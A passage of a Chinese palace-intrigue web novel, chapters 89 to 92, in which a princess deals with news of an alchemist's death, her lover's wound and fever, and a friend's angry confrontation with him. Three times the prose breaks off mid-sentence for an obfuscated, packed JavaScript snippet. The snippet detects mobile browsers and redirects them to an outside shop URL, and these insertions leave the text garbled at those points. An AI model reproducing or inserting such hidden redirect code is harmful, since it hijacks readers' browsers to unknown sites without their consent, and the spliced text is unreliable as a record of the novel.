对于李潜已死的这个结果骆苕有些恍惚,那个凌晖的老友,利用丹药毒害自己父皇的李潜,这些年安然无恙,却就这样死了。 又有人问道:“玉颜丹怎么会成为绝世臻品呢,雁鸣居士不是有位亲传弟子吗?他没承袭雁鸣居士的衣钵?” “雁鸣居士的那个弟子,我看够呛。虽然祖上世代杏林世家,但去雁鸣山不过才三年,三年,将将学会洒扫炉灰,怎么可能承袭雁鸣居士的衣钵。原本雁鸣居士有位亲传的弟子,不过一年前坠山死了,才轮到旁人乘虚而入,只是他命好而已。” “雁鸣居士的那个弟子叫什么来着?” “沈觅。” 楼下乱哄哄地议论着,骆苕耳畔嗡嗡响,花凊察觉骆苕的异样:“殿下?” 骆苕摇头说人多聒噪,想要就此入宫。 直觉告诉骆苕,李潜是凌晖所杀,毕竟知晓她父皇真正死因的只有那么几个,免生祸端凌晖暗暗除掉李潜。 骆苕和花凊不声不响退出乐坊,在去往马厩时,遇见了挡她去路的一位女子,女子头戴斗篷遮住了脸面,身旁跟着两位伺候的得体婆子。 葛七驱赶,只见女子躬身行礼道:“长公主殿下,民女有事相议,还望允准。” 女子声色清冷端庄,葛七再次驱赶却被骆苕拦下:“本宫准了。” 这女子特地在马厩等她,想必等得有些时候了。 89. 第八十九章 骆苕说允准,亦有花凊相护,但葛七仍然介怀于上回惊扰车架的失职,让女子报上门第和名讳,先验明正身。 只见女子没有迟疑,推起斗篷蓬帽掀在颈后,露出一张眉若春裁,面若银月干净脸庞,双目点漆望向骆苕。 骆苕眉心一跳,是似曾相识的感觉。 “民妇乃俞州长史许泽之妻温绥,受家母之命前来和长公主相谈要事。” 女子含着淡淡的笑,谦和地将门第名讳报了出来。 门第名讳一报,在场的人皆是一惊。 温绥,凌文袤同母异父的阿姊,是赫连萨朵和温虎所生之女,温虎战死后,赫连萨朵改嫁凌晖生下凌文袤,温虎唯一的女儿温绥一直养在俞州竼城温家,未跟随赫连萨朵入凌家。 温绥和凌文袤眉宇间有少许相像,难怪骆苕觉得似曾相识。 方才骆苕还沉浸在李潜之死的惊诧之中,这回听见温绥是受赫连萨朵之命相谈要事,委实有些惊悚蹊跷。 葛七没得到温氏入京的消息,可温氏将骆苕直接堵在了乐坊的马厩,令他有些措手不及,猜测温氏应当是背着凌文袤来的,稍稍打量了温绥的脸貌,确认后拱手道:“见过温夫人,恕卑职无礼。” 花凊眉梢抽紧一面拱手:“见过温夫人。”一面心下暗忖,今日凌文袤刚刚归京,他这阿姊却奉母命,火急火燎先来马厩堵骆苕,定不是什么台面上的重要事。 温绥还是那般客气:“还望长公主殿下见谅,搅扰了您的雅兴。” 和花凊连日来毫无顾忌的顽耍,骆苕重新将抛却的持重面色敷回去,回以笑脸,说:“无碍。”不言其他,“温夫人,我们换个地方议事。” 所有的雅兴对骆苕来说不过是为了浑噩度日,有人消遣,何乐而不为。 议事的地方温绥事先已经准备妥当,选在了文流之辈常常出入的画斋,二人进了后院画室,骆苕说议事不必避着花凊,那花凊自然也陪在了身侧。 从副都竼城而来的人,骆苕总有几分亲切之感,五岁前的脑海所存记忆不多,但感觉全在里面,骆苕的父皇母后,在副都竼城的那几年最像寻常夫妻,那时臣子一心只为抵御外强,所以骆苕对温绥的感觉是亲切的。 静谧画室的香炉内燃着清香,烹着清茶,婆子得体地奉着茶,要议事的二人坐落在座上端庄等各自的茶盏满茶。 花凊站在骆苕身后,手握配挂在腰间的长剑剑柄,百无聊赖地瞟向元鹤香炉溢出的缕缕清烟。 温绥收拢广袖袖口在身前,眼波一敛,抬眼望向骆苕,语音温软夹带着几分畏忌:“长公主殿下,今日民妇求见,是代家母向您转告,舍弟正值安家立业之时,妄请长公主殿下宽怀大量,容他纳侧室。” 看似一番伏低做小的软语,但已经将其中玄机表达的明明白白,容凌文袤纳侧室,表明赫连萨朵已经在张罗凌文袤的侧室。 大嵘外事安定,内事平顺,这个时候赫连萨朵为凌文袤择亲谋取身家利益,当然无可厚非。 赫连萨朵说让骆苕宽怀大量容凌文袤纳侧室,听着极其荒谬,骆苕可没惦记过凌氏的门,也从来没有以凌文袤的正妻自居,更没框束过凌文袤的身和心。 她一直很清醒自己的位置。 不过,骆苕坦然认下这桩污蔑,指尖缓缓拂过箭袖口,沉眉佯装思量了片刻,缓道:“凌五郎娶妻纳姬妾,赫连夫人当和大冢宰商议,我乃外人,不便置喙凌家家事。从前我对凌五郎可能说过一些胡话,如今已然收不回,往后免得引人误会,我定当和凌五郎划清界限,那些流言也将消散而去。” 这样的作答,花凊只想拍大腿叫好,骆苕有这番沉着言辞的觉悟,被亲嘴不亲嘴的都无伤大雅了,忍不住接茬:“温夫人,俗话说,宁拆十座庙不毁一桩婚,我们殿下没那个心思毁旁人姻缘,凌五郎爱娶谁娶谁,爱纳几房姬妾便纳几房姬妾,殿下和我坐等吃一杯凌五郎的喜酒。” 温绥望着一唱一和的二人却笑了,低头想了想说:“舍弟私底下已经认定长公主殿下,只是我这个做阿姊的对你们的渊源不甚了解,也不知你们之间有什么不能外言的约定,今日民妇代母前来,只为求一件事,请长公主殿下容舍弟先纳侧室。” 什么约定? 除了那纸不合规的对月贴,骆苕不晓得还有什么旁的。 花凊还想打抱不平,连脸都冷了下来,骆苕却先行出口再次推拒:“温夫人,我并非凌五郎的什么人,此事轮不到我来拿主意。” 温绥没有放弃,追问:“长公主殿下,您容得下舍弟纳侧室、姬妾?” 骆苕面对温绥不馁的问询,皱了皱眉,是与否都不是她该回答的,在这一刻她觉得疲倦,干脆应答:“容得下,我不是凌五郎什么人,为何容不下?” 她什么容不下,连天下都容得下。 温绥起身站了一会,觉得自己确实冒昧,她也不过听候母命来要一句话,旁的便交给弟弟自行解决。 “民妇这便回府向母亲交差。”温绥揖礼说,“告辞。” 短短数语,茶还是温的人却已经走远。 “人怎么可以这么可恶!”花凊忿忿不平。 “是挺无耻的。”骆苕心想,可恶的人还在后头。 “说了不是殿下能拿的主意,她还往死里逼殿下拿主意,凌文袤到底是不是个男人,在殿下面前有胆耍妓子,没胆纳侧室、姬妾?还说认定殿下一人,装模作样给谁看呢。”花凊坐了下来,叹息,“这京都城就不是人待的地方,逼得人只想凑人。” 骆苕看向花凊笑了出来,想起凌文袤揍张牧那次:“花将军,下回见着他,你帮我揍他,可好?” 花凊当即撸起袖子:“今日刚回京,想必很快会来找殿下,我拳脚候着他。” 骆苕狠狠点头。 玩了这么多日,二人看着开心着,可儿时的快乐再也找不回来了。 出画斋骆苕独自一人入了宫,花凊则被人召唤走,凌晖下命,命花凊前往校场接任操兵事宜。 禁卫送骆苕入长信殿,慕容瑾未料骆苕今日会来,讶然,将怀中的铜兔手炉送到骆苕手中:“前几日才探望过阿母,阿母以为要等大年夜的时候才能再见昭昭。”又说,“昭昭穿劲装,好看。” 她的昭昭无论如何,都是好的。 骆苕捧紧手炉:“花凊回来了,陪她在城中玩了两日,有点想阿母,所以便顺道入宫来瞧瞧。”她已经将要交代的全交代,见母后也已经没有掣肘,不会连累母后。 出入自由。 慕容瑾看骆苕神色不佳,也不再多加相问,让宫婢去厨堂准备膳食,吃完膳食天已经黑透,骆苕宿在了长信殿,和慕容瑾说了会儿贴心话。 听闻裴山恭在芾原温泉山疗养腿疾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13375771|123112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一直未入宫面圣,骆苕问慕容瑾:“阿母想见他吗?” 慕容瑾沉默半晌,笑着说:“想见,但阿母不会再去见他,他已有妻儿,不应该因为阿母的私念去打破不必要的平衡。” 骆苕五指顺着慕容瑾如瀑的秀发,迟疑着说:“裴公的正妻之位一直空着。” 慕容瑾摇头,还是那样清浅的笑着,似有不容消解的无奈:“那是他给他曾经的慕容瑾而留,并非如今的皇太后。” 骆苕问:“阿母可有问过裴公?” “傻昭昭,既然阿母和他都不曾说起,何必去打破现有的平衡,各自安好,那便是最好的结果。” 骆苕不再说话,心中有些堵。 母女二人鲜有地同床入睡,许是都不习惯,上半夜二人都没睡好,下半夜骆苕去了外间。 第二日一早,骆苕捧着手炉踩着石道前往平宁宫。 平宁宫花园里的红梅开的热烈,驻足在红梅下观赏,伸手轻轻抖动枝条,积雪扑簌簌飞扬在她脸面。 拂开眼睫上的细雪,骆苕回身望着来时的路,有些发怔。 这一年从年头走到年尾,好像什么都没做又好像什么都做完了。凌文袤和凌承佐已经平安归京,现在唯一能做的是等春归,等燕巢于檐下,等来年调顺。 骆苕从袖中拿出芙蓉玉海棠花簪躺在掌心,细细打量,垂着头,汹涌的眼泪莫名其妙夺眶而出,一滴一滴化作珠帘洒落在海棠花簪子上。 那日白言霈被贺兰融带走交到凌晖手中,怎知凌晖没有打算放过白言霈,誓有斩草除根之意。 申怡还未向凌晖禀报在清雅苑白言霈和骆苕对话的内容,先听闻凌晖要按先皇之命枭首白言霈,申怡终归于心不忍,先回清雅苑告知骆苕。 骆苕匆匆前去,正巧碰到白幼黎协同东刕人前去搭救。 白幼黎没有借用东刕人之手先行施压,清傲性子的白幼黎,直接跪伏在凌晖面前涕泗滂沱,脑门磕得“咚咚”直响求饶,恳求凌晖饶她们兄妹二人一命,说保证这辈子不再踏入大嵘。 骆苕生平第二次那样跪下,为了求凌晖放过白言霈兄妹二人,而第一次是趴伏在她父皇脚前,为了让她的父皇赦免白明绪六族。 后来的事骆苕便恍恍惚惚,在她吐血之前,仰头望着直立静默的白言霈,白言霈很平静地和她对视,但眼眸下的复杂她望不透更忘不了,曾经含笑带情的眼眸大抵只余下隐忍的恨。 白幼黎故意的那一跪,彻底将白言霈还未完全点燃的恨点燃。 凌晖不料东刕人那么器重他们,竟然放言可以为了兄妹二人立即撕毁盟约,后来白言霈和白幼黎被东刕人接走,送出大嵘。 骆苕将簪子收拢捏在手中,拿手背擦完泪,提步推开平宁宫偏殿的殿门。 殿内虽然空空荡荡,但好像经常有人入内洒扫,她最喜欢的那张陈旧波斯地衣还在,骆苕脱了鞋,双臂抱紧蜷起的双腿,脑袋枕在上面。 她想起骆炎,不知自己能否救得了他。 有风在殿内徐徐流动,殿门再次被推开,骆苕的视线抬高往门口望去。 年轻男子颀长的身影映入眼帘,只见他走近,缓缓坐上殿内门槛,没有靠近,两两对视中,在她眼里看到了避之不及的镇定疏离。 凌文袤鼻音浓重的“啧”了一声。 暗道这女人,怎么养不熟。 90. 第九十章 巍峨耸峙的皇宫,有人想进还不是如履平地,没有皇权加持的皇宫,犹如尘垢秕糠。 骆苕并不着急开口说话,捏着海棠花簪子,用簪脚不紧不慢一道一道划着波斯地衣。 凌文袤撩开袍裾伸了伸腿,将手中的鱼纹符佩丢向骆苕脚前,说的轻描淡写:“有人意图行刺你的夫君和凌世子,这符佩像是你从前精卫的物件,你看看是否有假。” 含糊不清的鼻音预示他感染了风寒。 骆苕心底咯噔一下,瞥了一眼滚在脚前的符佩,确认是送白幼黎去往涪郡咏竹居那纵精卫所持的符佩,那纵人马都是白言霈帮她挑选培植,送白幼黎去往涪郡咏竹居之后并未回京禀报。 曾怀疑那纵人马和白幼黎已经丧命,后来发生接二连三的事,推翻了骆苕一切所想,前几日问白言霈可曾知道那纵人马的去向,白言霈对她说的是——不清楚。 兜兜转转却在今日得到了那纵人马的消息,他们行刺了凌文袤和凌承佐。 骆苕快速挪去穿鞋起身:“他们关在何处?”她要问个清楚,究竟是谁让他们行刺,若是白言霈,她也要从他们口中亲耳听到。 “杀了。”凌文袤回得更淡,“未留活口。” 骆苕全身一滞,听见凌文袤又说,“此次行刺的宵小之辈总共一百一十七人,已经全部剿灭,以防消息泄露引起不必要的纷乱,连他们的尸身都喂了野犬,处理的干干净净。” 骆苕眸色骤变:“那纵人马才十二人,何来的一百一七人?” 凌文袤却说:“亡命匪类也会招兵买马,恐怕想要凌氏性命的不止这么多人。” “另外,是时候把你留在中州和别处的精卫召回来了,里面有多少干净能用的不得而知,最好……”凌文袤掐了话起身,让骆苕自己领会后面没说出口的言辞,那些精卫已经分辨不出哪些干净,哪些不干净。 留在身边也不安全,最好全部剿灭。 中州祸患已解,骆苕明白这是卸磨杀驴的意思。散布在中州的精卫,若他们都还活着便还有一百二十人,一百二十人,可都是她的人。 她不能不仁不义不分青红皂白,背刺他们。 跟这些精卫联络的易时安还未回来,骆苕要等易时安先回京。瞬间的无力感流窜全身,就那样呆愣愣地站着。 那些精卫若和白言霈先行接触,且被蛊惑利用…… 后面的骆苕不敢去想,越想越乱。 凌文袤问得随和:“舍不得你的精卫?” 骆苕回过神,攥紧手中的海棠花簪子:“我要等易时安回京,现在只有易时安才有法子联络到他们。”总要先等人归京。 凌文袤缓缓移步靠近,臂膀贴在骆苕身前,伸手将她手中的海棠花簪子从掌心抠离,垂眼稍稍端详,面颊愠色渐显,悠悠开口道:“雕工造诣不错,可惜,并不适合今日束发的你。” 在将簪子丢出去之时,骆苕眼疾手快一把捂住凌文袤的手掌,把簪子夺回,语音切切:“这簪子还有用处。” 白言霈说过,他可以悄无声息地将她带离大嵘,如何带离?用什么法子带离?用何人助他带离? 骆苕百思不得其解,再听闻行刺这一事,那这簪子更不能丢,或许真有用处。 凌文袤睨着一心只在簪子上的人,冷到极点:“为了救他,竟然急火攻心呕血,跪求大冢宰放人,你是有多焦心才丧失理智?幸亏他还活着,若是死了,你是不是还想随他而去?” 骆苕仰起脸望着凌文袤摇头,她已经说不清那时的情况,谁让她确实跪了真的呕了血:“凌宪,这簪子我要日日簪在头上,提醒我自己是个忘不了旧情的蠢货。” 当着凌文袤的面有恃无恐地将蠢话说了出来,确实愚蠢。 “长公主殿下向来口齿伶俐,还知道如何气你的夫君。”凌文袤嘲嗤一声,当她在胡言乱语都算自己仁慈,“若敢簪在头上,保不齐会将你的头拧下来。” 骆苕眼睫打了一下颤,望着他咽了咽空喉,没能明白方才他为何没有强硬地丢掉簪子,却只想拧她的头,她踮起脚伸臂攀住他的身躯,想拿唇碰触他的。一时说不清的那些,就先搁置不说,埋掉的旧情再次被挖出,总要给些时日消解。 凌文袤生气了,当下得安抚他。 岂料,凌文袤仰高脸避开,盯着穹顶将拙劣的她一把推离,咽喉一滑那颗心真就软了下来:“还病着,当心过给你。” 骆苕打着趔趄后退站稳,发束甩在脸颊,回眸看他,说:“你有热症。”适才听他说话已知他感染风寒,在拿她簪子的时候又感知到他不寻常的体温。 一句毫无感情恬淡寡欲的——你有热症。 听得凌文袤鼻腔越发酸爽,耳朵像是听了什么污言秽语,瞬间冉冉腾起的怒意无处发泄,跨步轻轻拽过骆苕的衣襟,带在身前,似笑非笑看着那双半惊不惊的眼眸:“总算是让你给发现了?还知道问上一句。关切你的夫君这般潦草,你是如何这样心安理得的?” 没安抚好,反而适得其反,骆苕闪着眸光低低地说:“不知道。” 这时的真诚反倒是最好的兵器,捅得凌文袤脑袋眩晕,心肝发颤,鼻腔嗡嗡。待他缓过一息松开手,只觉前面的人撞进了他的怀里,双臂箍筘住他的背,脸面贴在他的胸膛,似乎在听他的搏跳的心律。 凌文袤深叹一气,下颚抵在她的颅顶自然而然抬臂环住人,怀里人的声音嗡嗡传上来,这句更为真诚:“旁的都比不过你平安归京。” 凌文袤受用着沉了半晌,道:“听闻,你打算给我纳一房侧室?” 一说这个,骆苕便不想抱着他了,昨日他的阿姊温绥远道而来套话,移花接木地把答应纳侧室的帽子直接扣在了自己头上,今日他还堂而皇之地来问自己,这一家子如此无耻行径实在不能容忍。 骆苕没说话垂了手臂,人却没挣脱开,腰腹被定在不可言说的禁地,头颅被压在胸前不能动弹。 这头犟驴脾气不好还不经逗,凌文袤哼哧一声,笑着说:“昨日我还在想,既然你这么和顺地替我排忧解难,倒可以让那个还在议亲的侧室做大,你做小,如此便能后宅安宁。” 骆苕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13408574|123112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被按住的脑袋,狠狠用力抬离,却又被使劲一按脑门顶在胸膛,她切齿道:“不必同我相说你后宅的事,我真的管不着,往后也不要让你的阿姊阿母过来令彼此难堪。” 言罢,殿内阒静无声。 禁锢她身躯的手渐渐释去力道,骆苕抬头,二人对视上,不待她反应,凌文袤便将人打横抱了个瓷实,掂了掂重量后将人送至波斯地衣之上,一旁的手炉骨碌碌滚在地砖上直打转。 他伏身在上,目光一寸一寸巡幸着眼前人,轻问:“骆苕,你怎么就白长了一副中看不中的模样,怎么就一直怀不上?” 骆苕怔然一刹,梗起脖子愤然不平:“你一宅子的貌美侍女,都未见响动,你都从未想过你不行?” 凌文袤挑眉问:“你是如此想的?” 骆苕反问:“那你还想旁人如何做想?” 凌文袤附和着点了点头,自言道:“言之有理,旁人也会像你一样如此做想,道凌五郎大抵是被醉仙馆的美人玩坏了。” 听闻醉仙馆,还玩坏了,骆苕眼睛瞪的老圆,花凊说他在醉仙馆里复杂,也不知如何个复杂法。于是撇开脸不想看那张混不吝的脸,胸腔起起伏伏像是被气得不轻,也不知为何会这般的气人。 凌文袤看着骆苕的侧脸,伸手点在了她的秀挺鼻尖:“好像你比较在意醉仙馆里的美人。” 骆苕默着消了一会儿气,正过脸去,跳开前话伸手探上凌文袤的额头温言软语:“挺烫。” 凌文袤握住她的手摩挲:“今晚你得回我们的宅邸,想必病气已经过给你,我也不必再假装矜持。” “不去。”骆苕一口坚定。 其实她也不知自己还可以去哪,似乎哪里都躲不过去。 凌文袤瞭望空寂的殿内:“你的意思是在这?”兴致起,“我倒不介意。”顺势再次拿过骆苕还捏在手中的桃花玉海棠花簪子,插进骆苕束发的锦带下侧,睨视着,说,“你想簪便簪,就让这支发簪代那个男宠看着我们。” 骆苕咽喉发涩没说话。 凌文袤望着骆苕松开自己的带銙,干脆利落地扯掉两层衣襟,露出右侧臂膀褪出手臂,肩臂上面赫然缠绕着一层纱布,预示着纱布之下添了一道新伤。 骆苕顿挫着起了身,挨着凌文袤五指抚触上滚烫的肌理,指尖贴在纱布上心一沉再沉。 听见他说的轻松:“箭上涂了雌黄,那帮亡命匪类还想活拿我和世子,我替世子挡了一箭,并无大碍。” 这一箭直接挡去了兄弟二人之间的许多生疏隔阂,对凌文袤来说,并不吃亏,值得庆幸的是箭簇上涂的不是什么剧毒。 骆苕改口说:“我去。” 凌文袤都亮了底,又是风寒又是箭毒,骆苕也没再推拒,依旧什么都没带便入了凌文袤的宅邸。 踏入后院,庭院内的兵器架已经全部移到屋檐下,留了一地的松软厚雪,好像就是等着骆苕来糟践的。 凌文袤一回宅邸,整个人便松懈下来,躺进床榻昏沉入睡,他已经撑了许多日,连箭伤都不曾告知赫连萨朵和温绥。 91. 第九十一章 凌文袤烧热不退,喝下熬好浓稠难闻的汤药后,从天光睡到黄昏,连带骆苕也被灌了驱寒的汤药。 骆苕为了不打扰凌文袤歇息,一直守在外间,隔着留置的门缝时不时探头朝里望一望,又时不时蹑手蹑脚推门进去拿手背贴一贴额温。 还好临近黄昏时,烧暂时退了下来。 骆苕从未如此照料过人,进进出出也帮不上什么,凌文袤倒是瘫在软褥里面睡得心安理得。 沉睡中的人,一会儿自己掀被子一会儿自己又盖被子。 外间窸窸窣窣,上次那个花容月貌的侍女送来了换洗的干净衣物,思量片刻小声轻道:“长公主殿下,夜里婢子守夜,您去好生歇息。” 骆苕觉得如此可行,自己确实没什么用处,端茶倒水也只不过最后象征性地递一递,余下的凌文袤都能自行解决。 他不过是想要她待在这座宅邸。 “嗯。”骆苕同样轻声问,“粥熬好了么?” “好了。”侍女放下衣物回道,“婢子这便去盛过来。”说完,侍女退去厨堂准备吃食。 骆苕捧起衣物用手肘推门踏入卧房,伺候凌文袤用完粥再换下濡湿的汗衣,今日也便功德圆满,老在他面前晃悠反而让他歇息不好。 放置好衣物,骆苕轻轻坐上床沿,目光扫视平身仰躺,脸侧向外还熟睡的凌文袤,最后凝在他舒缓的脸面。 从初见到今日,骆苕依旧拿不准措辞形容他的脸貌,昨日见过温绥之后,骆苕才搜寻到一个稍稍合乎心意的词——瑰净。 这张脸亦正亦邪。 骆苕很想捋下贴在他额角、眉锋的几小发汗后干涸的碎发,不过还是撇开眼静静地安坐。 等过半柱香,一直不见人转醒,觉得还是让人再接着睡比较妥当,起身时却被凌文袤扼住手腕整个人带下去,攮进了软褥。 顷刻间,骆苕来不及任何反应就被顺其自然地按住。 凌文袤的额面蹭向她的脖颈,火热的鼻息流走在颈间:“别以为我听不到你们在说什么……估摸着今晚还要烧,你得陪着尽心尽责。” 蹑手蹑脚小心翼翼了一整日,凌文袤岂能让她半途而废,夜里自然还是要她作陪。 骆苕的脖子被凌文袤颌下的青茬蹭得有些刺疼,抬手挡着:“凌文袤,瞧你睡得沉,原来都是假的,我和侍女说话声那么轻,你竟然还能听到。”另外一只手揪上他的耳朵,“这么灵光。” “我只是睡着,又不是死了,那么大的说话声只要有耳就能听见。” 若放在平常身体大好时,屋外的说话声都逃不过。凌文袤像在检验一床被太阳暴晒过的馨香被褥,鼻尖推开她挡着的手,脖颈坦露的肌肤被他抚触了个遍,虽然染了风寒嗅觉不太灵,可是触觉正在唤醒他的食欲。 他确实有些饿。 骆苕拗不过,放下手臂任他游走,最后说:“你起来,我去给你倒盏水。” 凌文袤满意地抬身在她耳下啄一口,仰面侧翻过去,等骆苕倒来水,撑着手肘喝完起身,鼻音还是很重:“我得先去沐浴,浑身难受。”又不着痕迹地问,“你要不要入内伺候?” 骆苕诚心建议:“还病着呢,又是大冷天,还是等热症完全退去再沐浴为好。” 瞧他现在的样子精神不算差,不过他自己说今晚还得烧,那最好仔细别招了凉风。 凌文袤心不在焉糊弄似得“唔”了一声,移步过去,将漆架上的雀兰色大氅取下披挂在身上:“陪我去外面走走,睡了一日,筋骨都还是酥的。” 骆苕替他系系带,待人系妥,他顺势将人拢进了大氅。 庭院内萧寂无声,今早的太阳,只是露了个头便被茫茫云层吞噬干净。黄昏,从云层透下来的光亮阴沉冰冷。 檐下雀兰色大氅的主人对着中庭堆积的皑皑白雪,缓缓眨了眨眼,说:“勍州确实不好对付,你的舅父慕容霆彦,委派过去游说的官吏被你的外祖父串通地方豪强,斩杀在城门下,连慕容余也被扣在了勍州。” 慕容烈和地方豪强沆瀣一气,阻挠度田,盘查萌户、佃户、私婢。 骆苕心一惊,想了想说:“你说过,你相信我的舅父有腕力平定勍州。” “是。”凌文袤自然相信还坐镇京中的慕容霆彦有腕力解决勍州,他哈出一团热雾,“不过要等翻过年去,你的舅父才会亲自出马解决勍州。” 虽说很快就要过年,但凌文袤希望进程能再快一些。 骆苕沉沉只道:“快了。”这没几日便要过年了。 委派过去游说的官吏,被慕容烈串通地方豪强斩杀在城门下,此事不小,最忌勍州引起兵变。 就看慕容霆彦如何应对,骆苕信自己的舅父慕容霆彦有腕力摆平勍州,可在勍州未定之前,谁也说不准中间会发生什么出人意料的事。 骆苕担忧慕容余,也担忧舅父慕容霆彦和外祖父慕容烈。 二人站了一会儿,缓缓行至廊下,骆苕说:“雁鸣居士李潜死了,跳入炼丹炉以身养炉羽化升仙。” 这则消息凌文袤倒还未知晓,在骆苕说出口的时候,二人都不信李潜是跳入炼丹炉羽化升仙。 凌文袤只道:“死了便死了罢,留着也是夜长梦多。” 李潜死了,真正了却了一桩尘封不宜揭开的晦暗之事,对凌氏来说百利而无害。 至于是如何死的,都已无妨。 侍女提着食盒疾步而来,见着二人垂目行礼:“长公主殿下,郎主,粥还是热的,趁热吃。” 二人折返回去,腿还没跨进屋,便有侍女匆匆来禀,禀得焦急:“郎主,门外定南将军求见,说是来寻长公主殿下的,一青和赤眉正拦着呢。” 听闻一青和赤眉正拦着,那就是有闯宅之嫌。 凌文袤轻笑,低头看向怔愣中的骆苕:“你们二人关系这般好?竟让定南将军肆无忌惮地找上门来。” 骆苕咽喉发紧,自己跟花凊毫无顾忌地玩了几日,凌文袤一回京,扭头就入了凌文袤的宅邸,连知会花凊一声都没知会,多少有点不厚道,重色轻友是逃不过了。 她仰起脸回看他,颊面僵抽,不够利索的话抖落在冰凉的空气中:“估计……她……她会揍你,我也会遭……遭她一顿训。”当即钻出大氅,“我去见她。” 刚钻出去就被凌文袤一把逮回:“你是对她说了什么见不得人的糊涂话,才让她想揍我?” 骆苕目光躲闪着摇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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花凊和骆苕二人眼神一接触,花凊登时火冒三丈,瞧着骆苕一副鬼样子还神色虚散,霎时觉得自己来对了。 殿下何时受过这般非人待遇。 “凌五郎说认定长公主殿下一人,原来是这样个认定法!”花凊声色嘹亮穿过中庭,窜进凌文袤的耳道。 凌文袤背着手,慢悠悠踱步客套:“定南将军,久仰大名。” “我久你祖宗的名。” 花凊实在忍不了脏话脱口而出,又看向骆苕视线定在骆苕的双腿,提醒,“殿下,赶紧到我这边来。” 手被捆了,瞧着腿总还是活络的,迈几步应当不成问题。 这倒是提醒了凌文袤,在骆苕跑出几步时,就将人拦腰截了回去。 花凊完全高估了骆苕的行动能力,失了先机。 不过花凊人也已经近到二人跟前,凌文袤瞥见花凊攥紧的双拳,随时有揍人的意思,他搂着骆苕的腰身,笑说:“定南将军,恐怕里中有什么误会。” “误会?”花凊倒也不在意这一时的得失,“殿下衣冠不整地在凌五郎手上,应当凌五郎来说说所谓的误会。” 92. 第九十二章 僵持在游廊转折口的三人,画面胡闹中又携带几分正式。 骆苕不知该如何,将这一出最终会拳脚相向的闹剧阻止住,视线从花凊紧攥的拳头移向花凊的双眼,对她眨去好几眼,也不见花凊有任何反应。 花凊入宅邸就是带着某种使命,在没完成之前,绝对不会善罢甘休,既然骆苕被封了口,且先封着。 他们这些武人,一言不合就拳脚刀枪,骆苕惊讶之余还挺好奇,从前在军营,他们是如何正常交流消遣的。 “深宅后院,衣冠不整再寻常不过,何须定南将军大惊小怪。”凌文袤假蹙眉心,极为惋惜地低头看了骆苕一眼,“长公主殿下如此模样,是我和她之间的小小癖好,玩得正高兴呢,听闻定南将军到访,匆忙之下衣裳穿得急了些,长公主殿下脸皮又薄,说不好跟你交代,索性我就让她不必开口,我替她说。” 浑人说起浑话来行云流水,听得骆苕两眼花白,大氅下的腰还被紧了一把。 花凊怎听不出话里话外的意思,暗戳戳道他们二人已经情投意合,明晃晃抱怨她搅扰了二人的好事。 一口一口地喊她定南将军,这份莫名其妙的敬重倒让人挺受用。 花凊冷冷哼过一声,不紧不慢摘掉围领丢向廊外的雪地,垂着头,左右手齐开工,开始活动筋骨。 骆苕见花凊这副架势,手肘撞向凌文袤示意他为自己松绑,却被腰间的手给按住,听见他说:“一早听闻定南将军剑法精湛,今日凌某乐意与你切磋一二。” “急什么?”花凊抬眼昂起头颅,慢道,“这误会还没解明白,就想领略我花家剑法,凌五郎未免太过心急,你乐意我还不乐意呢,拳脚倒可以随时奉陪。今日唐突到访,就是想问几个问题,若凌五郎真心作答,那我也诚心以待,自会与你切磋花家剑法,若心口不一,那便送你一套拳脚,如何?” 好大的口气,真是百闻不如一见,比口气更大的恐怕是花凊想凑他的决心。 凌文袤浪荡不改,勉为其难地说:“自然真心作答,今日凌某就想切磋剑法,拳脚么,恐怕定南将军不是我的对手。” 花凊忽略后半句以及他的浪荡样,扬言直问:“凌五郎对殿下可是真心?” “真心日月可鉴。” 凌文袤回得挺屈辱,他的真心好像喂在人家嘴里,人家硬是不想吞下去,能有什么办法,只能好事多磨,不免手下一重,掐着细腰以做惩罚。 花凊笑了笑,朝廊外看去,这天,好像没日没月,鉴个劳什子。花言巧语惯爱表真心的男人还要拖累日月,真该遭天打雷劈。 她回过头接下来问得好像是一个坑,等着凌文袤跳下去:“凌五郎一身的风流韵事,真心何在?” 凌文袤双眉紧了紧,放开骆苕转正她面对自己,等骆苕抬头看着他时,面色委屈语音可怜真诚:“我没什么风流韵事。” 没有风流韵事,花凊岂容他狡辩。 “醉仙馆的樊孃和那几个徐娘半老风韵犹存的老孃孃好玩么?《春山戏耍图》好看么?听闻凌五郎喜结忘年之交,玩得可花着呢,一去醉仙馆,就将几位老嬢嬢哄得面色红润,如沐春风。”花凊也不再藏着掖着,当着骆苕的面将在醉仙馆打探到的,一股脑说尽,“事后那些个老孃孃们夸凌五郎金黎鼎盛,体贴入微,恐怕凌五郎的真心早就被老孃孃们给玩醉了,玩碎了吧,哪里还有真心让日月给你去鉴。” “殿下,你可要把你的心给捂好咯,别被花言巧语给骗了。” 花凊拧着一股子劲直言不讳劝诫。 